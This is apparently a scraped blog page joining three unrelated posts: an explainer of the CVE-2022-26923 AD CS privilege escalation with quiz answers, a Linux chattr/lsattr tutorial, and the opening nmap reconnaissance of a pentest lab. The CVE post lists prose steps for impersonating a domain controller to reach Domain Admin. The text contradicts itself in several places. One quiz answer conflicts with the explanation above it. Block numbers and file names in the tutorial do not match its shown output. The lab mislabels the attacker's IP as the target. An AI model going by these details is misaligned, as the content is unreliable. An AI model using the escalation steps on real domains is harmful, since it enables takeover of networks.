A certificate signing request (CSR) is one of the first steps towards getting your own SSL/TLS certificate. Generated on the same server you plan to install the certificate on, the CSR contains information (e.g. common name, organization, country) the Certificate Authority (CA) will use to create your certificate.



This website explores CVE-2022-26923, a vulnerability in Microsoft's Active Directory Certificate Service (AD CS) that allows any AD user to escalate their privileges to Domain Admin in a single hop!.

A brief look at certificate templates

Windows Active Directory (AD) is not just for identity and access management but provides a significant amount of services to help you run and manage your organisation. Many of these services are less commonly known or used, meaning they are often overlooked when security hardening is performed. One of these services is the Active Directory Certificate Services (AD CS).

When talking about certificates, we usually only think about the most common ones, such as those used to upgrade website traffic to HTTPS. But these are generally only used for applications that the organisation exposes to the internet. What about all those applications running on the internal network? Do we now have to give them internet access to allow them to request a certificate from a trusted Certificate Authority (CA)? Well, not really. Cue AD CS.

AD CS is Microsoft's Public Key Infrastructure (PKI) implementation. Since AD provides a level of trust in an organisation, it can be used as a CA to prove and delegate trust. AD CS is used for several things, such as encrypting file systems, creating and verifying digital signatures, and even user authentication, making it a promising avenue for attackers. What makes it an even more dangerous attack vector, is that certificates can survive credential rotation, meaning even if a compromised account's password is reset, that will do nothing to invalidate the maliciously generated certificate, providing persistent credential theft for up to 10 years! The diagram below shows what the flow for certificate requests and generation looks like.

Since AD CS is such a privileged function, it normally runs on selected domain controllers. Meaning normal users can't really interact with the service directly. On the other side, organisations tend to be too large to have an administrator create and distribute each certificate manually. This is where certificate templates come in. Administrators of AD CS can create several templates that can allow any user with the relevant permissions to request a certificate themselves. These templates have parameters that say which user can request the certificate and what is required. What SpecterOps has found, was that specific combinations of these parameters can be incredibly toxic and be abused for privilege escalation and persistent access!



Before we dive deeper into certificate abuse, some terminology:

• PKI - Public Key Infrastructure is a system that manages certificates and public key encryption
• AD CS - Active Directory Certificate Services is Microsoft's PKI implementation which usually runs on domain controllers
• CA - Certificate Authority is a PKI that issues certificates
• Certificate Template - a collection of settings and policies that defines how and when a certificate may be issued by a CA
• CSR - Certificate Signing Request is a message sent to a CA to request a signed certificate
• EKU - Extended/Enhanced Key Usage are object identifiers that define how a generated certificate may be used

1) What does the user create to ask the CA for a certificate?

Ans :- Certificate Signing Request



2) What is the name of Microsoft's PKI implementation?

Ans :- Active Directory Certificate Services

Client Authentication

As discussed in the overview of Certificate Templates, they are convenient to allow users and systems to enrol for certificates. Certificates have many use cases in the network. For CVE-2022-26923 and the template misconfigurations discovered by SpectorOps, the primary focus is on the Client Authentication use case.


Client Authentication allows the owner of the certificate to use it to verify their own identity in AD for authentication purposes. For example, a client certificate is used to authenticate against a web application. The authentication process occurs through Kerberos. If we have a valid certificate that has the Client Authentication EKU, we can interface with AD CS and the Key Distribution Centre to request a Kerberos TGT that can then be used for further authentication.


As an attacker, we can leverage this to generate a TGT to impersonate another user or system, should we have a valid certificate for them. In essence, we want to be able to modify the Subject Alternative Name (SAN) attribute of the certificate request to point to someone or something else, that has more permissions to perform privilege escalation.

Default Certificate Templates

By default, when AD CS is installed in an environment, two certificate templates are made available for requests that support Client Authentication:


User Certificate Template - This certificate template can be requested by any user that belongs to the Domain Users group.

Machine Certificate Template - This certificate template can be requested by any host that belongs to the Domain Computers group.



The User Template is not vulnerable by default. When we request a certificate based on the User template, the User Principal Name (UPNs) of the user account will be embedded in the SAN that can be used for identification. Since UPNs must be unique, and we usually do not have the ability to modify our UPN, we cannot leverage this template. Furthermore, since we don't have the ability to alter the SAN value in the certificate signing request, we cannot impersonate another user by specifying their UPN.


However, computer accounts do not have a UPN. Instead of using a UPN for authentication, the Machine template uses the DNS Name of the machine for identification and authentication. When a certificate is requested for a machine through the Machine template, AD CS embeds the machine's DNS Name into the SAN, which is then used for authentication.

Default Domain User Privileges

By default, any user who is a member of the Authenticated Users group (literally all AD accounts) can enrol up to 10 new machines on the domain. This is often used in organisations to allow users to bring their own device (BYOD) and enrol it for use on the domain. This in itself is not really a vulnerability but has led to some interesting privilege escalation vectors in the path, exactly what we will be exploiting for this CVE.


When we enrol a new host in AD, we are assigned as the owner of that host. This provides us with certain permissions over the AD Object associated with that host. Two permissions in particular cause an issue here:


Validate write to DNS hostname - This permission allows us to update the DNS hostname of our AD Object associated with the host.

Validate write to Service Principal Name (SPN) - This permission allows us to update the SPN of our AD Object associated with the host.


SPNs are used by Kerberos authentication to associate a service instance with a service logon account. By default, the Computer AD Object receives SPNs associated with their name to allow for Kerberos authentication, which the host requires to perform specific requests against AD. SPNs must be unique, meaning two AD Objects are not allowed to have the same SPN.


You would think it would be as simple as changing the DNS hostname to another hostname, maybe the hostname of a Domain Controller for privilege escalation? However, if you change the DNS hostname, Microsoft automatically updates the SPN attribute. Since those must be unique, we will get an error if we try to impersonate another host through the DNS hostname attribute. But since we have the ability also to change the SPN, we can bypass this restriction.


The pieces of the puzzle should now start to come together. If we only had one of the two permissions, we would not have a vulnerability.  However, the combination of having those two permissions allows us to perform privilege escalation.

Putting it all Together

Using these configurations, the default AD CS Machine certificate template, the default ability to enrol a new machine, and the default permissions assigned on the created Computer AD Object, we have a privilege escalation vector on our hands. What makes it worse is that this privilege escalation vector requires minimal effort, meaning the attacker's skill level to exploit this issue is quite low. The basic steps are the following:

1. Compromise the credentials of a low-privileged AD user.
2. Use those credentials to enrol a new host on the domain.
3. Alter the DNS hostname attribute of the Computer AD Object to that of a privileged host, such as a Domain Controller.
4. Remove the SPN attributed to bypass the unique SPN conflict issue.
5. Request a Machine certificate using the default template.
6. Perform Kerberos authentication with the received template, now as the privileged machine account instead of our fake machine account.

   
   



1) Which EKU allows us to use the generated certificate for Kerberos authentication?

Ans :- Client Authentication



2) What AD group can request a certificate using the Machine Certificate Template?

Ans :- Domain Controller



3) What value in the Machine Certificate is used for identification and authentication?

Ans :- DNS Hostname

To Be Continue....Exploitation soon

Disclaimer

Apart from usual read, write, and execute file permissions, Linux documents (files) have another set of attribute that control other characteristics of the file.

Permissions and Attributes

In Linux, who can access a file and what they can do with it is controlled by a user-centric set of permissions. Whether you can read the contents of a file, write new data into the file, or execute a file if it is a script or a program, is all governed by that set of permissions. The permissions are applied to the file, but they define the restrictions and capabilities for different categories of user.

There are permissions for the owner of the file, for the group of the file, and for others—that is, users who are not in the first two categories. You can use the ls command with the -l (long listing) option to see the permissions on a file or directory.

We can see that file permissions are user-centeric because they have choices to remove permissions at the user level. By contrast, the attributes of a file system centric. Like persmissions, they're set on the file or directory. But once they're set, they're the same for all users.

Attrbiutes are a separate collection of settings from permissions. Attributes control characteristics such as immutability and other file system-level behaviors. To see the attributes of a file or directory we use the lsattr command. To set the attributes we use the chattr command.

Inode File system 

Permissions and attributes are stored inside inodes. An inode is a file system structure that holds information about file system objects such as files and directories. A file’s location on the hard drive, its creation date, its permissions, and its attributes are all stored within its inode.

Because different file systems have different underlying structures and capabilities, attributes can behave differently—or be completely ignored—by some file systems. In this article, we’re using ext4 which is the default file system for many Linux distributions.

Looking at a File’s Attributes

The chattr and lsattr commands will already be present on your computer so there’s no need to install anything.

To check the attributes on the files in the current directory, use lsattr:

lsattr

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr 
--------------e------- ./f.txt
--------------e------- ./a.txt
--------------e------- ./e.txt
--------------e------- ./g.txt
--------------e------- ./b.txt
--------------e------- ./atul.txt
--------------e------- ./hackingtruth.txt
--------------e------- ./c.txt
--------------e------- ./d.txt
--------------e------- ./atulkumar.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ 

 The dashed lines are placeholders for attributes that are not set. The only attribute that is set is the e (extents) attribute. This shows that the file system inodes are using—or will use if required—extents to point to all portions of the file on the hard drive.

If the file is held in one contiguous sequence of hard drive blocks, its inode only has to record the first and last blocks used to store the file. If the file is fragmented, the inode has to record the number of the first and last block of each piece of the file. These pairs of hard drive block numbers are called extents.



This is the list of the most commonly used attributes.


a: Append only. A file with this attribute can only be appended to. It can still be written to, but only at the end of the file. It is not possible to overwrite any of the existing data within the file.


c: Compressed. The file is automatically compressed on the hard drive and uncompressed when it is read. Data written to the files is compressed before it is written to the hard drive.


A: No atime updates. The atime is a value in an inode that records the last time a file was accessed.


C: No copy-on-write. If two processes request access to a file, they can be given pointers to the same file. They are only given their own unique copy of the file if they try to write to the file, making it unique to that process.


d: No dump. The Linux dump command is used to write copies of entire file systems to backup media. This attribute makes dump ignore the file. It is excluded from the backup.


D: Synchronous directory updates. When this attribute is turned on for a directory, all changes to that directory are written synchronously—that is, immediately—on the hard drive. Data operations can be buffered.


e: Extent format. The e attribute indicates that the file system is using extents to map the location of the file on the hard drive. You cannot change this with chattr. It is a function of the operation of the file system.


i: Immutable. An immutable file cannot be modified, including renaming and deleting. The root user is the only person who can set or unset this attribute.


s: Secure deletion. When a file with this attribute set is deleted, the hard drive blocks that held the file data are overwritten with bytes containing zeroes. Note that this is not honored by the ext4 file system.


S: Synchronous updates. Changes to a file with its S attribute set are written to the file synchronously.


u: Deleting a file that has its u attribute set causes a copy of the file to be made. This can be beneficial to file recovery if the file was removed in error.

Changing a File’s Attributes

The chattr command lets us change the attributes of a file or directory. We can use the + (set) and - (unset) operators to apply or remove an attribute, similar to the chmod command and permissions.

The chattr command also has an = (set only) operator. This sets the attributes of a file or directory to only the attributes that are specified in the command. That is, all attributes not listed on the command line are unset.

Setting the Append Only Attribute

If you want use a: append attributes then if you want to change the overwrite the file and add something, but it is not possible because A file with this attribute can only be appended to. It can still be written to, but only at the end of the file. It is not possible to overwrite any of the existing data within the file.

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d" > atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ cat atul.txt      
Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ sudo chattr +a atul.txt                                   
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr
--------------e------- ./f.txt
--------------e------- ./a.txt
--------------e------- ./e.txt
--------------e------- ./g.txt
--------------e------- ./b.txt
-----a--------e------- ./atul.txt
--------------e------- ./hackingtruth.txt
--------------e------- ./c.txt
--------------e------- ./d.txt
--------------e------- ./atulkumar.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ echo "Qm" > atul.txt 
zsh: operation not permitted: atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$               

We’ll redirect the output from ls into the file:

ls -l > text-file.txt

sudo ls -l > text-file.txt

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr atul.txt
-----a--------e------- atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ ls -la > atul.txt 
zsh: operation not permitted: atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ sudo ls -la > atul.txt                                                                                                                              1 ⨯
zsh: operation not permitted: atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$                                                                                                                                                     1 ⨯

The operation is not permitted, even if we use the sudo command.

If we use two angle brackets  “>>” to redirect output it is appended to the existing data in the file. That should be acceptable to our append-only text file.

sudo ls -l >> text-file.txt

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr atul.txt     
-----a--------e------- atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ cat  atul.txt 
Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ sudo ls -l >> atul.txt 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ cat  atul.txt
Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
total 8
-rwxrwxrwx 1 root      1006  0 May  2 08:57 atulkumar.txt
-rw-r--r-- 1 hackerboy root 41 May  3 12:59 atul.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 a.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 b.txt
-rwxrwxrwx 1 hackerboy root 40 May  3 13:01 c.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 d.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 e.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 f.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 g.txt
-rwxrwxrwx 1 root      1006  0 May  2 08:57 hackingtruth.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ 

Although we can append data to the file, that is the only change we can make to it. We can’t delete it and neither can root.

rm text-file.txt

sudo rm text-file.txt

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr atul.txt       
-----a--------e------- atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ rm atul.txt         
rm: cannot remove 'atul.txt': Operation not permitted
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ sudo rm atul.txt                                                                                                                                    1 ⨯
rm: cannot remove 'atul.txt': Operation not permitted
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$                                                                                                                                                     1 ⨯

Don’t Rely on Secure Deletion on ext4

As we pointed out, some operating systems do not support all of the attributes. The secure delete attribute is not honored by the ext family of file systems, including ext4. Don’t rely on this for the secure deletion of files.

It’s easy to see that this doesn’t work in ext4. We’ll set the s (secure deletion) attribute on a text file.

sudo chattr +s atul.txt

What we’re going to do is find out the inode that holds the metadata about this file. The inode holds the first hard drive block occupied by the file. The file contains some lorem ipsum placeholder text.
Advertisement

We’ll read that block directly from the hard drive to verify we’re reading the correct hard drive location. We’ll delete the file and then read that same hard dive block once more. If the secure deletion attribute is being honored, we should read zeroed bytes.

We can find the inode of the file by using the hdparm command with the --fibmap (file block map) option.

sudo hdparm --fibmap third-file.txt

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr atul.txt          
-----a--------e------- atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ chattr +s atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr atul.txt   
s----a--------e------- atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ sudo hdparm --fibmap  atul.txt

atul.txt:
 filesystem blocksize 4096, begins at LBA 872241152; assuming 512 byte sectors.
 byte_offset  begin_LBA    end_LBA    sectors
           0  931425384  931425391          8
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ 

The first hard drive block is 18100656. We’ll use the dd command to read it.

The options are:
 

• if=/dev/sda: Read from the first hard drive on this computer. 
• bs=512: Use a hard drive block size of 512 bytes.
• skip=18100656: Skip all blocks before block 18100656. In other words, start reading at block 18100656.
• count=1: Read one block of data.

sudo dd if=/dev/sda bs=512 skip=18100656 count=1

As expected we see the lorem ipsum placeholder text. We’re reading the correct block on the hard drive.

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ sudo dd if=/dev/sda bs=512 skip=931425384 count=1
Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
total 8
-rwxrwxrwx 1 root      1006  0 May  2 08:57 atulkumar.txt
-rw-r--r-- 1 hackerboy root 41 May  3 12:59 atul.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 a.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 b.txt
-rwxrwxrwx 1 hackerboy root 40 May  3 13:01 c.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 d.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 e.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 f.txt
-rwxrwxrwx 1 hackerboy root  0 May  2 08:56 g.txt
-r1+0 records in
1+0 records out
512 bytes copied, 0.0237929 s, 21.5 kB/s
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ 
                  

Now we’ll delete the file.

rm third-file.txt

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ lsattr atul.txt
                                                                                                                                   1 ⨯
s--------------------- atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ 

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$ rm atul.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
└─$                        

Again, don’t depend on this for secure deletion on ext4.There are better methods available to delete files so that they can’t be recovered.

Disclaimer

Black Box Penetration Testing Security Misconfiguration

We have been engaged in a Black-box Penetration Test (172.16.64.0/24 range). Our goal is to read the flag file on machine. On some of them, you will be required to exploit a remote code execution vulnerability in order to read the flag.

Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

If you are stuck on one of the machines, don't overthink and start pentesting another one.

When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

Goals

# Discover and exploit all the machines on the network.
# Read all flag files (one per machine)

What you will learn

# How to exploit Apache Tomcat
# How to exploit SQL Server (In later blog article)
# Post-exploitation discovery (In later blog article)
# Arbitrary file upload exploitation

Recommended tools

# Metasploit framework (recommended version: 5 or above)
# Nmap
# Msfvenom
# rename CMD

Step 1: CONNECT TO THE VPN

Connect to the lab environment using the provided VPN file and as you can see our vulnerable machine IP is 172.16.64.10.

After connecting to the lab via VPN we will search server IP in our local machine

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ ifconfig 
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether b4:b6:86:47:55:83  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3081  bytes 930474 (908.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3081  bytes 930474 (908.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.64.10  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::b89f:18ff:fec4:51a4  prefixlen 64  scopeid 0x20<link>
        ether ba:9f:18:c4:51:a4  txqueuelen 1000  (Ethernet)
        RX packets 608  bytes 90706 (88.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 939  bytes 1104897 (1.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.35.25  netmask 255.255.255.0  broadcast 192.168.35.255
        inet6 fe80::aa80:f129:e78d:aa96  prefixlen 64  scopeid 0x20<link>
        inet6 2409:4064:11d:95b7:714b:9836:314f:6787  prefixlen 64  scopeid 0x0<global>
        ether fc:01:7c:29:00:77  txqueuelen 1000  (Ethernet)
        RX packets 34668  bytes 30641232 (29.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28045  bytes 8039781 (7.6 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

                                                                                                                                                                                            
┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ 

You ensure that you have received an IP range within the 172.16.64.0/24 range.

Also read Penetration Testing Fundamentals

Step 2: DISCOVER LIVE HOSTS ON THE NETWORK

Using nmap, scan for live hosts on the 172.16.64.0/24 network.
 

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ sudo nmap -sn 172.16.64.0/24 -oN discovery.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-17 20:07 IST
Nmap scan report for 172.16.64.101
Host is up (0.61s latency).
MAC Address: 00:50:56:A0:8C:D8 (VMware)
Nmap scan report for 172.16.64.140
Host is up (0.48s latency).
MAC Address: 00:50:56:A0:94:12 (VMware)
Nmap scan report for 172.16.64.182
Host is up (0.57s latency).
MAC Address: 00:50:56:A0:B3:4D (VMware)
Nmap scan report for 172.16.64.199
Host is up (0.41s latency).
MAC Address: 00:50:56:A0:06:62 (VMware)
Nmap scan report for 172.16.64.10
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 15.90 seconds
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 

Sort the discovered addresses, excluding your own IP address, and write the rest to a file. This file will be fed to nmap in order to perform a full TCP scan.

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ cat discovery.nmap | grep for                   
Nmap scan report for 172.16.64.101
Nmap scan report for 172.16.64.140
Nmap scan report for 172.16.64.182
Nmap scan report for 172.16.64.199
Nmap scan report for 172.16.64.10
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ cat discovery.nmap | grep for | grep -v "\.13"
Nmap scan report for 172.16.64.101
Nmap scan report for 172.16.64.140
Nmap scan report for 172.16.64.182
Nmap scan report for 172.16.64.199
Nmap scan report for 172.16.64.10
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ cat discovery.nmap | grep for | grep -v "\.13" | cut -d " " -f 5
172.16.64.101
172.16.64.140
172.16.64.182
172.16.64.199
172.16.64.10
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ cat discovery.nmap | grep for | grep -v "\.13" | cut -d " " -f 5 > ips.txt
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ cat ips.txt                                                               
172.16.64.101
172.16.64.140
172.16.64.182
172.16.64.199
172.16.64.10
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 

Use nmap with the following options:

    -sV for version identification
    -n for disabling reverse DNS lookup
    -v for Verbose
    -Pn to assume the host is alive
    -p- to scan all the ports
    -T4 to speed things up
    -iL to use a list of IPs as input (ips.txt)
    --open to see just open ports and not closed / filtered ones
    -A for detailed information and running some scripts


nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open

You will come across something similar to the below.


Note: If the .101 machine doesn't appear in the results. Please try again with the -sn nmap option.

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ 
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/Penetration-tester-jr]
└─$ sudo nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-17 20:15 IST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
Initiating ARP Ping Scan at 20:15
Scanning 4 hosts [1 port/host]
Completed ARP Ping Scan at 20:15, 1.18s elapsed (4 total hosts)
Initiating SYN Stealth Scan at 20:15
Scanning 4 hosts [65535 ports/host]
Discovered open port 139/tcp on 172.16.64.199
Discovered open port 80/tcp on 172.16.64.140
Discovered open port 445/tcp on 172.16.64.199
Discovered open port 22/tcp on 172.16.64.182
Discovered open port 22/tcp on 172.16.64.101
Discovered open port 8080/tcp on 172.16.64.101
Discovered open port 135/tcp on 172.16.64.199
SYN Stealth Scan Timing: About 1.37% done; ETC: 20:52 (0:37:12 remaining)
Discovered open port 49666/tcp on 172.16.64.199
Discovered open port 49943/tcp on 172.16.64.199
SYN Stealth Scan Timing: About 4.48% done; ETC: 20:37 (0:21:40 remaining)
SYN Stealth Scan Timing: About 8.66% done; ETC: 20:32 (0:16:00 remaining)
SYN Stealth Scan Timing: About 13.43% done; ETC: 20:30 (0:13:00 remaining)
SYN Stealth Scan Timing: About 18.27% done; ETC: 20:28 (0:11:15 remaining)
SYN Stealth Scan Timing: About 23.57% done; ETC: 20:28 (0:09:47 remaining)
Discovered open port 59919/tcp on 172.16.64.101
SYN Stealth Scan Timing: About 28.77% done; ETC: 20:27 (0:08:43 remaining)
Discovered open port 49665/tcp on 172.16.64.199
SYN Stealth Scan Timing: About 34.30% done; ETC: 20:26 (0:07:42 remaining)
SYN Stealth Scan Timing: About 39.83% done; ETC: 20:26 (0:06:49 remaining)
SYN Stealth Scan Timing: About 45.07% done; ETC: 20:26 (0:06:07 remaining)
SYN Stealth Scan Timing: About 50.15% done; ETC: 20:26 (0:05:29 remaining)
SYN Stealth Scan Timing: About 55.53% done; ETC: 20:26 (0:04:54 remaining)
Discovered open port 49670/tcp on 172.16.64.199
SYN Stealth Scan Timing: About 61.61% done; ETC: 20:26 (0:04:19 remaining)
SYN Stealth Scan Timing: About 66.88% done; ETC: 20:26 (0:03:40 remaining)
Discovered open port 49668/tcp on 172.16.64.199
SYN Stealth Scan Timing: About 71.84% done; ETC: 20:26 (0:03:06 remaining)
Discovered open port 9080/tcp on 172.16.64.101
SYN Stealth Scan Timing: About 77.49% done; ETC: 20:26 (0:02:29 remaining)
SYN Stealth Scan Timing: About 82.70% done; ETC: 20:26 (0:01:54 remaining)
Discovered open port 49664/tcp on 172.16.64.199
Discovered open port 49669/tcp on 172.16.64.199
SYN Stealth Scan Timing: About 88.14% done; ETC: 20:26 (0:01:17 remaining)
SYN Stealth Scan Timing: About 93.51% done; ETC: 20:26 (0:00:42 remaining)
Discovered open port 49667/tcp on 172.16.64.199
Discovered open port 1433/tcp on 172.16.64.199
Completed SYN Stealth Scan against 172.16.64.101 in 703.91s (3 hosts left)
Completed SYN Stealth Scan against 172.16.64.140 in 705.14s (2 hosts left)
Completed SYN Stealth Scan against 172.16.64.182 in 706.36s (1 host left)
Completed SYN Stealth Scan at 20:27, 723.53s elapsed (262140 total ports)
Initiating Service scan at 20:27
Scanning 18 services on 4 hosts
Service scan Timing: About 55.56% done; ETC: 20:28 (0:00:40 remaining)
Completed Service scan at 20:28, 78.82s elapsed (18 services on 4 hosts)
Initiating OS detection (try #1) against 4 hosts
Retrying OS detection (try #2) against 4 hosts
NSE: Script scanning 4 hosts.
Initiating NSE at 20:28
Completed NSE at 20:29, 25.07s elapsed
Initiating NSE at 20:29
Completed NSE at 20:29, 3.96s elapsed
Initiating NSE at 20:29
Completed NSE at 20:29, 0.02s elapsed
Nmap scan report for 172.16.64.101
Host is up (0.66s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f:b7:1c:3d:55:b3:9d:98:58:11:17:ef:cc:af:27:67 (RSA)
|   256 5f:b9:93:e2:ec:eb:f7:08:e4:bb:82:d0:df:b9:b1:56 (ECDSA)
|_  256 db:1f:11:ad:59:c1:3f:0c:49:3d:b0:66:10:fa:57:21 (ED25519)
8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
9080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
| http-methods: 
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
59919/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:50:56:A0:8C:D8 (VMware)
Aggressive OS guesses: Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 3.18 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.9 (95%), Linux 3.12 (94%), Linux 3.8 - 3.11 (94%)
